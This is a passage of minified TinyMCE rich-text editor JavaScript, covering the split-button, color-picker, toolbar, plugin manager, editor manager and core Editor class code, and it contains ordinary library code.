b=c.DOM,a=c.dom.Event,d=c.each;c.create("tinymce.ui.SplitButton:tinymce.ui.MenuButton",{SplitButton:function(f,e){this.parent(f,e);this.classPrefix="mceSplitButton"},renderHTML:function(){var i,f=this,g=f.settings,e;i="<tbody><tr>";if(g.image){e=b.createHTML("img ",{src:g.image,"class":"mceAction "+g["class"]})}else{e=b.createHTML("span",{"class":"mceAction "+g["class"]},"")}i+="<td>"+b.createHTML("a",{id:f.id+"_action",href:"javascript:;","class":"mceAction "+g["class"],onclick:"return false;",onmousedown:"return false;",title:g.title},e)+"</td>";e=b.createHTML("span",{"class":"mceOpen "+g["class"]});i+="<td>"+b.createHTML("a",{id:f.id+"_open",href:"javascript:;","class":"mceOpen "+g["class"],onclick:"return false;",onmousedown:"return false;",title:g.title},e)+"</td>";i+="</tr></tbody>";return b.createHTML("table",{id:f.id,"class":"mceSplitButton mceSplitButtonEnabled "+g["class"],cellpadding:"0",cellspacing:"0",onmousedown:"return false;",title:g.title},i)},postRender:function(){var e=this,f=e.settings;if(f.onclick){a.add(e.id+"_action","click",function(){if(!e.isDisabled()){f.onclick(e.value)}})}a.add(e.id+"_open","click",e.showMenu,e);a.add(e.id+"_open","focus",function(){e._focused=1});a.add(e.id+"_open","blur",function(){e._focused=0});if(c.isIE6||!b.boxModel){a.add(e.id,"mouseover",function(){if(!b.hasClass(e.id,"mceSplitButtonDisabled")){b.addClass(e.id,"mceSplitButtonHover")}});a.add(e.id,"mouseout",function(){if(!b.hasClass(e.id,"mceSplitButtonDisabled")){b.removeClass(e.id,"mceSplitButtonHover")}})}},destroy:function(){this.parent();a.clear(this.id+"_action");a.clear(this.id+"_open")}})})(tinymce);(function(d){var c=d.DOM,a=d.dom.Event,b=d.is,e=d.each;d.create("tinymce.ui.ColorSplitButton:tinymce.ui.SplitButton",{ColorSplitButton:function(h,g){var f=this;f.parent(h,g);f.settings=g=d.extend({colors:"000000,993300,333300,003300,003366,000080,333399,333333,800000,FF6600,808000,008000,008080,0000FF,666699,808080,FF0000,FF9900,99CC00,339966,33CCCC,3366FF,800080,999999,FF00FF,FFCC00,FFFF00,00FF00,00FFFF,00CCFF,993366,C0C0C0,FF99CC,FFCC99,FFFF99,CCFFCC,CCFFFF,99CCFF,CC99FF,FFFFFF",grid_width:8,default_color:"#888888"},f.settings);f.onShowMenu=new d.util.Dispatcher(f);f.onHideMenu=new d.util.Dispatcher(f);f.value=g.default_color},showMenu:function(){var f=this,g,j,i,h;if(f.isDisabled()){return}if(!f.isMenuRendered){f.renderMenu();f.isMenuRendered=true}if(f.isMenuVisible){return f.hideMenu()}i=c.get(f.id);c.show(f.id+"_menu");c.addClass(i,"mceSplitButtonSelected");h=c.getPos(i);c.setStyles(f.id+"_menu",{left:h.x,top:h.y+i.clientHeight,zIndex:200000});i=0;a.add(c.doc,"mousedown",f.hideMenu,f);f.onShowMenu.dispatch(f);if(f._focused){f._keyHandler=a.add(f.id+"_menu","keydown",function(k){if(k.keyCode==27){f.hideMenu()}});c.select("a",f.id+"_menu")[0].focus()}f.isMenuVisible=1},hideMenu:function(g){var f=this;if(g&&g.type=="mousedown"&&c.getParent(g.target,function(h){return h.id===f.id+"_open"})){return}if(!g||!c.getParent(g.target,".mceSplitButtonMenu")){c.removeClass(f.id,"mceSplitButtonSelected");a.remove(c.doc,"mousedown",f.hideMenu,f);a.remove(f.id+"_menu","keydown",f._keyHandler);c.hide(f.id+"_menu")}f.onHideMenu.dispatch(f);f.isMenuVisible=0},renderMenu:function(){var k=this,f,j=0,l=k.settings,p,h,o,g;g=c.add(l.menu_container,"div",{id:k.id+"_menu","class":l.menu_class+" "+l["class"],style:"position:absolute;left:0;top:-1000px;"});f=c.add(g,"div",{"class":l["class"]+" mceSplitButtonMenu"});c.add(f,"span",{"class":"mceMenuLine"});p=c.add(f,"table",{"class":"mceColorSplitMenu"});h=c.add(p,"tbody");j=0;e(b(l.colors,"array")?l.colors:l.colors.split(","),function(i){i=i.replace(/^#/,"");if(!j--){o=c.add(h,"tr");j=l.grid_width-1}p=c.add(o,"td");p=c.add(p,"a",{href:"javascript:;",style:{backgroundColor:"#"+i},mce_color:"#"+i})});if(l.more_colors_func){p=c.add(h,"tr");p=c.add(p,"td",{colspan:l.grid_width,"class":"mceMoreColors"});p=c.add(p,"a",{id:k.id+"_more",href:"javascript:;",onclick:"return false;","class":"mceMoreColors"},l.more_colors_title);a.add(p,"click",function(i){l.more_colors_func.call(l.more_colors_scope||this);return a.cancel(i)})}c.addClass(f,"mceColorSplitMenu");a.add(k.id+"_menu","click",function(i){var m;i=i.target;if(i.nodeName=="A"&&(m=i.getAttribute("mce_color"))){k.setColor(m)}return a.cancel(i)});return g},setColor:function(g){var f=this;c.setStyle(f.id+"_preview","backgroundColor",g);f.value=g;f.hideMenu();f.settings.onselect(g)},postRender:function(){var f=this,g=f.id;f.parent();c.add(g+"_action","div",{id:g+"_preview","class":"mceColorPreview"});c.setStyle(f.id+"_preview","backgroundColor",f.value)},destroy:function(){this.parent();a.clear(this.id+"_menu");a.clear(this.id+"_more");c.remove(this.id+"_menu")}})})(tinymce);tinymce.create("tinymce.ui.Toolbar:tinymce.ui.Container",{renderHTML:function(){var l=this,e="",g,j,b=tinymce.DOM,m=l.settings,d,a,f,k;k=l.controls;for(d=0;d<k.length;d++){j=k[d];a=k[d-1];f=k[d+1];if(d===0){g="mceToolbarStart";if(j.Button){g+=" mceToolbarStartButton"}else{if(j.SplitButton){g+=" mceToolbarStartSplitButton"}else{if(j.ListBox){g+=" mceToolbarStartListBox"}}}e+=b.createHTML("td",{"class":g},b.createHTML("span",null,"<!-- IE -->"))}if(a&&j.ListBox){if(a.Button||a.SplitButton){e+=b.createHTML("td",{"class":"mceToolbarEnd"},b.createHTML("span",null,"<!-- IE -->"))}}if(b.stdMode){e+='<td style="position: relative">'+j.renderHTML()+"</td>"}else{e+="<td>"+j.renderHTML()+"</td>"}if(f&&j.ListBox){if(f.Button||f.SplitButton){e+=b.createHTML("td",{"class":"mceToolbarStart"},b.createHTML("span",null,"<!-- IE -->"))}}}g="mceToolbarEnd";if(j.Button){g+=" mceToolbarEndButton"}else{if(j.SplitButton){g+=" mceToolbarEndSplitButton"}else{if(j.ListBox){g+=" mceToolbarEndListBox"}}}e+=b.createHTML("td",{"class":g},b.createHTML("span",null,"<!-- IE -->"));return b.createHTML("table",{id:l.id,"class":"mceToolbar"+(m["class"]?" "+m["class"]:""),cellpadding:"0",cellspacing:"0",align:l.settings.align||""},"<tbody><tr>"+e+"</tr></tbody>")}});(function(b){var a=b.util.Dispatcher,c=b.each;b.create("tinymce.AddOnManager",{items:[],urls:{},lookup:{},onAdd:new a(this),get:function(d){return this.lookup[d]},requireLangPack:function(f){var d,e=b.EditorManager.settings;if(e&&e.language){d=this.urls[f]+"/langs/"+e.language+".js";if(!b.dom.Event.domLoaded&&!e.strict_mode){b.ScriptLoader.load(d)}else{b.ScriptLoader.add(d)}}},add:function(e,d){this.items.push(d);this.lookup[e]=d;this.onAdd.dispatch(this,e,d);return d},load:function(h,e,d,g){var f=this;if(f.urls[h]){return}if(e.indexOf("/")!=0&&e.indexOf("://")==-1){e=b.baseURL+"/"+e}f.urls[h]=e.substring(0,e.lastIndexOf("/"));b.ScriptLoader.add(e,d,g)}});b.PluginManager=new b.AddOnManager();b.ThemeManager=new b.AddOnManager()}(tinymce));(function(f){var g=f.each,h=f.extend,e=f.DOM,a=f.dom.Event,c=f.ThemeManager,b=f.PluginManager,d=f.explode;f.create("static tinymce.EditorManager",{editors:{},i18n:{},activeEditor:null,preInit:function(){var i=this,j=window.location;f.documentBaseURL=j.href.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,"");if(!/[\/\\]$/.test(f.documentBaseURL)){f.documentBaseURL+="/"}f.baseURL=new f.util.URI(f.documentBaseURL).toAbsolute(f.baseURL);f.EditorManager.baseURI=new f.util.URI(f.baseURL);if(document.domain&&j.hostname!=document.domain){f.relaxedDomain=document.domain}i.onBeforeUnload=new f.util.Dispatcher(i);a.add(window,"beforeunload",function(k){i.onBeforeUnload.dispatch(i,k)})},init:function(q){var p=this,l,k=f.ScriptLoader,o,n,i=[],m;function j(u,v,r){var t=u[v];if(!t){return}if(f.is(t,"string")){r=t.replace(/\.\w+$/,"");r=r?f.resolve(r):0;t=f.resolve(t)}return t.apply(r||this,Array.prototype.slice.call(arguments,2))}q=h({theme:"simple",language:"en",strict_loading_mode:document.contentType=="application/xhtml+xml"},q);p.settings=q;if(!a.domLoaded&&!q.strict_loading_mode){if(q.language){k.add(f.baseURL+"/langs/"+q.language+".js")}if(q.theme&&q.theme.charAt(0)!="-"&&!c.urls[q.theme]){c.load(q.theme,"themes/"+q.theme+"/editor_template"+f.suffix+".js")}if(q.plugins){l=d(q.plugins);if(f.inArray(l,"compat2x")!=-1){b.load("compat2x","plugins/compat2x/editor_plugin"+f.suffix+".js")}g(l,function(r){if(r&&r.charAt(0)!="-"&&!b.urls[r]){if(!f.isWebKit&&r=="safari"){return}b.load(r,"plugins/"+r+"/editor_plugin"+f.suffix+".js")}})}k.loadQueue()}a.add(document,"init",function(){var r,t;j(q,"onpageload");if(q.browsers){r=false;g(d(q.browsers),function(u){switch(u){case"ie":case"msie":if(f.isIE){r=true}break;case"gecko":if(f.isGecko){r=true}break;case"safari":case"webkit":if(f.isWebKit){r=true}break;case"opera":if(f.isOpera){r=true}break}});if(!r){return}}switch(q.mode){case"exact":r=q.elements||"";if(r.length>0){g(d(r),function(u){if(e.get(u)){m=new f.Editor(u,q);i.push(m);m.render(1)}else{o=0;g(document.forms,function(v){g(v.elements,function(w){if(w.name===u){u="mce_editor_"+o;e.setAttrib(w,"id",u);m=new f.Editor(u,q);i.push(m);m.render(1)}})})}})}break;case"textareas":case"specific_textareas":function s(v,u){return u.constructor===RegExp?u.test(v.className):e.hasClass(v,u)}g(e.select("textarea"),function(u){if(q.editor_deselector&&s(u,q.editor_deselector)){return}if(!q.editor_selector||s(u,q.editor_selector)){n=e.get(u.name);if(!u.id&&!n){u.id=u.name}if(!u.id||p.get(u.id)){u.id=e.uniqueId()}m=new f.Editor(u.id,q);i.push(m);m.render(1)}});break}if(q.oninit){r=t=0;g(i,function(u){t++;if(!u.initialized){u.onInit.add(function(){r++;if(r==t){j(q,"oninit")}})}else{r++}if(r==t){j(q,"oninit")}})}})},get:function(i){return this.editors[i]},getInstanceById:function(i){return this.get(i)},add:function(i){this.editors[i.id]=i;this._setActive(i);return i},remove:function(j){var i=this;if(!i.editors[j.id]){return null}delete i.editors[j.id];if(i.activeEditor==j){g(i.editors,function(k){i._setActive(k);return false})}j.destroy();return j},execCommand:function(o,m,l){var n=this,k=n.get(l),i;switch(o){case"mceFocus":k.focus();return true;case"mceAddEditor":case"mceAddControl":if(!n.get(l)){new f.Editor(l,n.settings).render()}return true;case"mceAddFrameControl":i=l.window;i.tinyMCE=tinyMCE;i.tinymce=f;f.DOM.doc=i.document;f.DOM.win=i;k=new f.Editor(l.element_id,l);k.render();if(f.isIE){function j(){k.destroy();i.detachEvent("onunload",j);i=i.tinyMCE=i.tinymce=null}i.attachEvent("onunload",j)}l.page_window=null;return true;case"mceRemoveEditor":case"mceRemoveControl":if(k){k.remove()}return true;case"mceToggleEditor":if(!k){n.execCommand("mceAddControl",0,l);return true}if(k.isHidden()){k.show()}else{k.hide()}return true}if(n.activeEditor){return n.activeEditor.execCommand(o,m,l)}return false},execInstanceCommand:function(m,l,k,j){var i=this.get(m);if(i){return i.execCommand(l,k,j)}return false},triggerSave:function(){g(this.editors,function(i){i.save()})},addI18n:function(k,l){var i,j=this.i18n;if(!f.is(k,"string")){g(k,function(n,m){g(n,function(q,p){g(q,function(s,r){if(p==="common"){j[m+"."+r]=s}else{j[m+"."+p+"."+r]=s}})})})}else{g(l,function(n,m){j[k+"."+m]=n})}},_setActive:function(i){this.selectedInstance=this.activeEditor=i}});f.EditorManager.preInit()})(tinymce);var tinyMCE=window.tinyMCE=tinymce.EditorManager;(function(n){var o=n.DOM,k=n.dom.Event,f=n.extend,l=n.util.Dispatcher;var j=n.each,a=n.isGecko,b=n.isIE,e=n.isWebKit;var d=n.is,h=n.ThemeManager,c=n.PluginManager,i=n.EditorManager;var p=n.inArray,m=n.grep,g=n.explode;n.create("tinymce.Editor",{Editor:function(u,r){var q=this;q.id=q.editorId=u;q.execCommands={};q.queryStateCommands={};q.queryValueCommands={};q.plugins={};j(["onPreInit","onBeforeRenderUI","onPostRender","onInit","onRemove","onActivate","onDeactivate","onClick","onEvent","onMouseUp","onMouseDown","onDblClick","onKeyDown","onKeyUp","onKeyPress","onContextMenu","onSubmit","onReset","onPaste","onPreProcess","onPostProcess","onBeforeSetContent","onBeforeGetContent","onSetContent","onGetContent","onLoadContent","onSaveContent","onNodeChange","onChange","onBeforeExecCommand","onExecCommand","onUndo","onRedo","onVisualAid","onSetProgressState"],function(s){q[s]=new l(q)});q.settings=r=f({id:u,language:"en",docs_language:"en",theme:"simple",skin:"default",delta_width:0,delta_height:0,popup_css:"",plugins:"",document_base_url:n.documentBaseURL,add_form_submit_trigger:1,submit_patch:1,add_unload_trigger:1,convert_urls:1,relative_urls:1,remove_script_host:1,table_inline_editing:0,object_resizing:1,cleanup:1,accessibility_focus:1,custom_shortcuts:1,custom_undo_redo_keyboard_shortcuts:1,custom_undo_redo_restore_selection:1,custom_undo_redo:1,doctype:'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">',visual_table_class:"mceItemTable",visual:1,inline_styles:true,convert_fonts_to_spans:true,font_size_style_values:"xx-small,x-small,small,medium,large,x-large,xx-large",apply_source_formatting:1,directionality:"ltr",forced_root_block:"p",valid_elements:"@[id|class|style|title|dir<ltr?rtl|lang|xml::lang|onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup],a[rel|rev|charset|hreflang|tabindex|accesskey|type|name|href|target|title|class|onfocus|onblur],strong/b,em/i,strike,u,#p[align],-ol[type|compact],-ul[type|compact],-li,br,img[longdesc|usemap|src|border|alt=|title|hspace|vspace|width|height|align],-sub,-sup,-blockquote[cite],-table[border=0|cellspacing|cellpadding|width|frame|rules|height|align|summary|bgcolor|background|bordercolor],-tr[rowspan|width|height|align|valign|bgcolor|background|bordercolor],tbody,thead,tfoot,#td[colspan|rowspan|width|height|align|valign|bgcolor|background|bordercolor|scope],#th[colspan|rowspan|width|height|align|valign|scope],caption,-div,-span,-code,-pre,address,-h1,-h2,-h3,-h4,-h5,-h6,hr[size|noshade],-font[face|size|color],dd,dl,dt,cite,abbr,acronym,del[datetime|cite],ins[datetime|cite],object[classid|width|height|codebase|*],param[name|value],embed[type|width|height|src|*],script[src|type],map[name],area[shape|coords|href|alt|target],bdo,button,col[align|char|charoff|span|valign|width],colgroup[align|char|charoff|span|valign|width],dfn,fieldset,form[action|accept|accept-charset|enctype|method],input[accept|alt|checked|disabled|maxlength|name|readonly|size|src|type|value|tabindex|accesskey],kbd,label[for],legend,noscript,optgroup[label|disabled],option[disabled|label|selected|value],q[cite],samp,select[disabled|multiple|name|size],small,textarea[cols|rows|disabled|name|readonly],tt,var,big",hidden_input:1,padd_empty_editor:1,render_ui:1,init_theme:1,force_p_newlines:1,indentation:"30px",keep_styles:1,fix_table_elements:1,removeformat_selector:"span,b,strong,em,i,font,u,strike"},r);q.documentBaseURI=new n.util.URI(r.document_base_url||n.documentBaseURL,{base_uri:tinyMCE.baseURI});q.baseURI=i.baseURI;q.execCallback("setup",q)},render:function(u){var v=this,w=v.settings,x=v.id,q=n.ScriptLoader;if(!k.domLoaded){k.add(document,"init",function(){v.render()});return}if(!u){w.strict_loading_mode=1;tinyMCE.settings=w}if(!v.getElement()){return}if(w.strict_loading_mode){q.settings.strict_mode=w.strict_loading_mode;n.DOM.settings.strict=1}if(!/TEXTAREA|INPUT/i.test(v.getElement().nodeName)&&w.hidden_input&&o.getParent(x,"form")){o.insertAfter(o.create("input",{type:"hidden",name:x}),x)}if(n.WindowManager){v.windowManager=new n.WindowManager(v)}if(w.encoding=="xml"){v.onGetContent.add(function(s,t){if(t.save){t.content=o.encode(t.content)}})}if(w.add_form_submit_trigger){v.onSubmit.addToTop(function(){if(v.initialized){v.save();v.isNotDirty=1}})}if(w.add_unload_trigger){v._beforeUnload=tinyMCE.onBeforeUnload.add(function(){if(v.initialized&&!v.destroyed&&!v.isHidden()){v.save({format:"raw",no_events:true})}})}n.addUnload(v.destroy,v);if(w.submit_patch){v.onBeforeRenderUI.add(function(){var s=v.getElement().form;if(!s){return}if(s._mceOldSubmit){return}if(!s.submit.nodeType&&!s.submit.length){v.formElement=s;s._mceOldSubmit=s.submit;s.submit=function(){i.triggerSave();v.isNotDirty=1;return v.formElement._mceOldSubmit(v.formElement)}}s=null})}function r(){if(w.language){q.add(n.baseURL+"/langs/"+w.language+".js")}if(w.theme&&w.theme.charAt(0)!="-"&&!h.urls[w.theme]){h.load(w.theme,"themes/"+w.theme+"/editor_template"+n.suffix+".js")}j(g(w.plugins),function(s){if(s&&s.charAt(0)!="-"&&!c.urls[s]){if(!e&&s=="safari"){return}c.load(s,"plugins/"+s+"/editor_plugin"+n.suffix+".js")}});q.loadQueue(function(){if(!v.removed){v.init()}})}if(w.plugins.indexOf("compat2x")!=-1){c.load("compat2x","plugins/compat2x/editor_plugin"+n.suffix+".js");q.loadQueue(r)}else{r()}},init:function(){var v,F=this,G=F.settings,C,z,B=F.getElement(),r,q,D,y,A,E;i.add(F);if(G.theme){G.theme=G.theme.replace(/-/,"");r=h.get(G.theme);F.theme=new r();if(F.theme.init&&G.init_theme){F.theme.init(F,h.urls[G.theme]||n.documentBaseURL.replace(/\/$/,""))}}j(g(G.plugins.replace(/\-/g,"")),function(w){var H=c.get(w),t=c.urls[w]||n.documentBaseURL.replace(/\/$/,""),s;if(H){s=new H(F,t);F.plugins[w]=s;if(s.init){s.init(F,t)}}});if(G.popup_css!==false){if(G.popup_css){G.popup_css=F.documentBaseURI.toAbsolute(G.popup_css)}else{G.popup_css=F.baseURI.toAbsolute("themes/"+G.theme+"/skins/"+G.skin+"/dialog.css")}}if(G.popup_css_add){G.popup_css+=","+F.documentBaseURI.toAbsolute(G.popup_css_add)}F.controlManager=new n.ControlManager(F);F.undoManager=new n.UndoManager(F);F.undoManager.onAdd.add(function(t,s){if(!s.initial){return F.onChange.dispatch(F,s,t)}});F.undoManager.onUndo.add(function(t,s){return F.onUndo.dispatch(F,s,t)});F.undoManager.onRedo.add(function(t,s){return F.onRedo.dispatch(F,s,t)});if(G.custom_undo_redo){F.onExecCommand.add(function(t,w,u,H,s){if(w!="Undo"&&w!="Redo"&&w!="mceRepaint"&&(!s||!s.skip_undo)){F.undoManager.add()}})}F.onExecCommand.add(function(s,t){if(!/^(FontName|FontSize)$/.test(t)){F.nodeChanged()}});if(a){function x(s,t){if(!t||!t.initial){F.execCommand("mceRepaint")}}F.onUndo.add(x);F.onRedo.add(x);F.onSetContent.add(x)}F.onBeforeRenderUI.dispatch(F,F.controlManager);if(G.render_ui){C=G.width||B.style.width||B.offsetWidth;z=G.height||B.style.height||B.offsetHeight;F.orgDisplay=B.style.display;E=/^[0-9\.]+(|px)$/i;if(E.test(""+C)){C=Math.max(parseInt(C)+(r.deltaWidth||0),100)}if(E.test(""+z)){z=Math.max(parseInt(z)+(r.deltaHeight||0),100)}r=F.theme.renderUI({targetNode:B,width:C,height:z,deltaWidth:G.delta_width,deltaHeight:G.delta_height});F.editorContainer=r.editorContainer}o.setStyles(r.sizeContainer||r.editorContainer,{width:C,height:z});z=(r.iframeHeight||z)+(typeof(z)=="number"?(r.deltaHeight||0):"");if(z<100){z=100}F.iframeHTML=G.doctype+'<html><head xmlns="http://www.w3.org/1999/xhtml"><base href="'+F.documentBaseURI.getURI()+'" />';F.iframeHTML+='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';if(n.relaxedDomain){F.iframeHTML+='<script type="text/javascript">document.domain = "'+n.relaxedDomain+'";<\/script>'}y=G.body_id||"tinymce";if(y.indexOf("=")!=-1){y=F.getParam("body_id","","hash");y=y[F.id]||y}A=G.body_class||"";if(A.indexOf("=")!=-1){A=F.getParam("body_class","","hash");A=A[F.id]||""}F.iframeHTML+='</head><body id="'+y+'" class="mceContentBody '+A+'"></body></html>';if(n.relaxedDomain){if(b||(n.isOpera&&parseFloat(opera.version())>=9.5)){D='javascript:(function(){document.open();document.domain="'+document.domain+'";var ed = window.parent.tinyMCE.get("'+F.id+'");document.write(ed.iframeHTML);document.close();ed.setupIframe();})()'}else{if(n.isOpera){D='javascript:(function(){document.open();document.domain="'+document.domain+'";document.close();ed.setupIframe();})()'}}}v=o.add(r.iframeContainer,"iframe",{id:F.id+"_ifr",src:D||'javascript:""',frameBorder:"0",style:{width:"100%",height:z}});F.contentAreaContainer=r.iframeContainer;o.get(r.editorContainer).style.display=F.orgDisplay;o.get(F.id).style.display="none";if(!b||!n.relaxedDomain){F.setupIframe()}B=v=r=null},setupIframe:function(){var z=this,A=z.settings,u=o.get(z.id),v=z.getDoc(),r,x;if(!b||!n.relaxedDomain){v.open();v.write(z.iframeHTML);v.close()}if(!b){try{if(!A.readonly){v.designMode="On"}}catch(w){}}if(b){x=z.getBody();o.hide(x);if(!A.readonly){x.contentEditable=true}o.show(x)}z.dom=new n.DOM.DOMUtils(z.getDoc(),{keep_values:true,url_converter:z.convertURL,url_converter_scope:z,hex_colors:A.force_hex_style_colors,class_filter:A.class_filter,update_styles:1,fix_ie_paragraphs:1});z.serializer=new n.dom.Serializer({entity_encoding:A.entity_encoding,entities:A.entities,valid_elements:A.verify_html===false?"*[*]":A.valid_elements,extended_valid_elements:A.extended_valid_elements,valid_child_elements:A.valid_child_elements,invalid_elements:A.invalid_elements,fix_table_elements:A.fix_table_elements,fix_list_elements:A.fix_list_elements,fix_content_duplication:A.fix_content_duplication,convert_fonts_to_spans:A.convert_fonts_to_spans,font_size_classes:A.font_size_classes,font_size_style_values:A.font_size_style_values,apply_source_formatting:A.apply_source_formatting,remove_linebreaks:A.remove_linebreaks,element_format:A.element_format,dom:z.dom});z.selection=new n.dom.Selection(z.dom,z.getWin(),z.serializer);z.forceBlocks=new n.ForceBlocks(z,{forced_root_block:A.forced_root_block});z.editorCommands=new n.EditorCommands(z);z.serializer.onPreProcess.add(function(s,t){return z.onPreProcess.dispatch(z,t,s)});z.serializer.onPostProcess.add(function(s,t){return z.onPostProcess.dispatch(z,t,s)});z.onPreInit.dispatch(z);if(!A.gecko_spellcheck){z.getBody().spellcheck=0}if(!A.readonly){z._addEvents()}z.controlManager.onPostRender.dispatch(z,z.controlManager);z.onPostRender.dispatch(z);if(A.directionality){z.getBody().dir=A.directionality}if(A.nowrap){z.getBody().style.whiteSpace="nowrap"}if(A.auto_resize){z.onNodeChange.add(z.resizeToContent,z)}if(A.custom_elements){function y(s,t){j(g(A.custom_elements),function(B){var C;if(B.indexOf("~")===0){B=B.substring(1);C="span"}else{C="div"}t.content=t.content.replace(new RegExp("<("+B+")([^>]*)>","g"),"<"+C+' mce_name="$1"$2>');t.content=t.content.replace(new RegExp("</("+B+")>","g"),"</"+C+">")})}z.onBeforeSetContent.add(y);z.onPostProcess.add(function(s,t){if(t.set){y(s,t)}})}if(A.handle_node_change_callback){z.onNodeChange.add(function(t,s,B){z.execCallback("handle_node_change_callback",z.id,B,-1,-1,true,z.selection.isCollapsed())})}if(A.save_callback){z.onSaveContent.add(function(s,B){var t=z.execCallback("save_callback",z.id,B.content,z.getBody());if(t){B.content=t}})}if(A.onchange_callback){z.onChange.add(function(t,s){z.execCallback("onchange_callback",z,s)})}if(A.convert_newlines_to_brs){z.onBeforeSetContent.add(function(s,t){if(t.initial){t.content=t.content.replace(/\r?\n/g,"<br />")}})}if(A.fix_nesting&&b){z.onBeforeSetContent.add(function(s,t){t.content=z._fixNesting(t.content)})}if(A.preformatted){z.onPostProcess.add(function(s,t){t.content=t.content.replace(/^\s*<pre.*?>/,"");t.content=t.content.replace(/<\/pre>\s*$/,"");if(t.set){t.content='<pre class="mceItemHidden">'+t.content+"</pre>"}})}if(A.verify_css_classes){z.serializer.attribValueFilter=function(D,B){var C,t;if(D=="class"){if(!z.classesRE){t=z.dom.getClasses();if(t.length>0){C="";j(t,function(s){C+=(C?"|":"")+s["class"]});z.classesRE=new RegExp("("+C+")","gi")}}return !z.classesRE||/(\bmceItem\w+\b|\bmceTemp\w+\b)/g.test(B)||z.classesRE.test(B)?B:""}return B}}if(A.convert_fonts_to_spans){z._convertFonts()}if(A.inline_styles){z._convertInlineElements()}if(A.cleanup_callback){z.onBeforeSetContent.add(function(s,t){t.content=z.execCallback("cleanup_callback","insert_to_editor",t.content,t)});z.onPreProcess.add(function(s,t){if(t.set){z.execCallback("cleanup_callback","insert_to_editor_dom",t.node,t)}if(t.get){z.execCallback("cleanup_callback","get_from_editor_dom",t.node,t)}});z.onPostProcess.add(function(s,t){if(t.set){t.content=z.execCallback("cleanup_callback","insert_to_editor",t.content,t)}if(t.get){t.content=z.execCallback("cleanup_callback","get_from_editor",t.content,t)}})}if(A.save_callback){z.onGetContent.add(function(s,t){if(t.save){t.content=z.execCallback("save_callback",z.id,t.content,z.getBody())}})}if(A.handle_event_callback){z.onEvent.add(function(s,t,B){if(z.execCallback("handle_event_callback",t,s,B)===false){k.cancel(t)}})}z.onSetContent.add(function(){z.addVisual(z.getBody())});if(A.padd_empty_editor){z.onPostProcess.add(function(s,t){t.content=t.content.replace(/^(<p[^>]*>(&nbsp;|&#160;|\s|\u00a0|)<\/p>[\r\n]*|<br \/>[\r\n]*)$/,"")})}if(a){function q(s,t){j(s.dom.select("a"),function(C){var B=C.parentNode;if(s.dom.isBlock(B)&&B.lastChild===C){s.dom.add(B,"br",{mce_bogus:1})}})}z.onExecCommand.add(function(s,t){if(t==="CreateLink"){q(s)}});z.onSetContent.add(z.selection.onSetContent.add(q));if(!A.readonly){try{v.designMode="Off";v.designMode="On"}catch(w){}}}setTimeout(function(){if(z.removed){return}z.load({initial:true,format:(A.cleanup_on_startup?"html":"raw")});z.startContent=z.getContent({format:"raw"});z.undoManager.add({initial:true});z.initialized=true;z.onInit.dispatch(z);z.execCallback("setupcontent_callback",z.id,z.getBody(),z.getDoc());z.execCallback("init_instance_callback",z);z.focus(true);z.nodeChanged({initial:1});if(A.content_css){n.each(g(A.content_css),function(s){z.dom.loadCSS(z.documentBaseURI.toAbsolute(s))})}if(A.auto_focus){setTimeout(function(){var s=i.get(A.auto_focus);s.selection.select(s.getBody(),1);s.selection.collapse(1);s.getWin().focus()},100)}},1);u=null},focus:function(r){var u,q=this,s=q.settings.content_editable;if(!r){if(!s&&(!b||q.selection.getNode().ownerDocument!=q.getDoc())){q.getWin().focus()}}if(i.activeEditor!=q){if((u=i.activeEditor)!=null){u.onDeactivate.dispatch(u,q)}q.onActivate.dispatch(q,u)}i._setActive(q)},execCallback:function(v){var q=this,u=q.settings[v],r;if(!u){return}if(q.callbackLookup&&(r=q.callbackLookup[v])){u=r.func;r=r.scope}if(d(u,"string")){r=u.replace(/\.\w+$/,"");r=r?n.resolve(r):0;u=n.resolve(u);q.callbackLookup=q.callbackLookup||{};q.callbackLookup[v]={func:u,scope:r}}return u.apply(r||q,Array.prototype.slice.call(arguments,1))},translate:function(q){var t=this.settings.language||"en",r=i.i18n;if(!q){return""}return r[t+"."+q]||q.replace(/{\#([^}]+)\}/g,function(u,s){return r[t+"."+s]||"{#"+s+"}"})},getLang:function(r,q){return i.i18n[(this.settings.language||"en")+"."+r]||(d(q)?q:"{#"+r+"}")},getParam:function(w,s,q){var t=n.trim,r=d(this.settings[w])?this.settings[w]:s,u;if(q==="hash"){u={};if(d(r,"string")){j(r.indexOf("=")>0?r.split(/[;,](?![^=;,]*(?:[;,]|$))/):r.split(","),function(x){x=x.split("=");if(x.length>1){u[t(x[0])]=t(x[1])}else{u[t(x[0])]=t(x)}})}else{u=r}return u}return r},nodeChanged:function(u){var q=this,r=q.selection,v=r.getNode()||q.getBody();if(q.initialized){q.onNodeChange.dispatch(q,u?u.controlManager||q.controlManager:q.controlManager,b&&v.ownerDocument!=q.getDoc()?q.getBody():v,r.isCollapsed(),u)}},addButton:function(u,r){var q=this;q.buttons=q.buttons||{};q.buttons[u]=r},addCommand:function(t,r,q){this.execCommands[t]={func:r,scope:q||this}},addQueryStateHandler:function(t,r,q){this.queryStateCommands[t]={func:r,scope:q||this}},addQueryValueHandler:function(t,r,q){this.queryValueCommands[t]={func:r,scope:q||this}},addShortcut:function(s,v,q,u){var r=this,w;if(!r.settings.custom_shortcuts){return false}r.shortcuts=r.shortcuts||{};if(d(q,"string")){w=q;q=function(){r.execCommand(w,false,null)}}if(d(q,"object")){w=q;q=function(){r.execCommand(w[0],w[1],w[2])}}j(g(s),function(t){var x={func:q,scope:u||this,desc:v,alt:false,ctrl:false,shift:false};j(g(t,"+"),function(y){switch(y){case"alt":case"ctrl":case"shift":x[y]=true;break;default:x.charCode=y.charCodeAt(0);x.keyCode=y.toUpperCase().charCodeAt(0)}});r.shortcuts[(x.ctrl?"ctrl":"")+","+(x.alt?"alt":"")+","+(x.shift?"shift":"")+","+x.keyCode]=x});return true},execCommand:function(x,w,z,q){var u=this,v=0,y,r;if(!/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint|SelectAll)$/.test(x)&&(!q||!q.skip_focus)){u.focus()}y={};u.onBeforeExecCommand.dispatch(u,x,w,z,y);if(y.terminate){return false}if(u.execCallback("execcommand_callback",u.id,u.selection.getNode(),x,w,z)){u.onExecCommand.dispatch(u,x,w,z,q);return 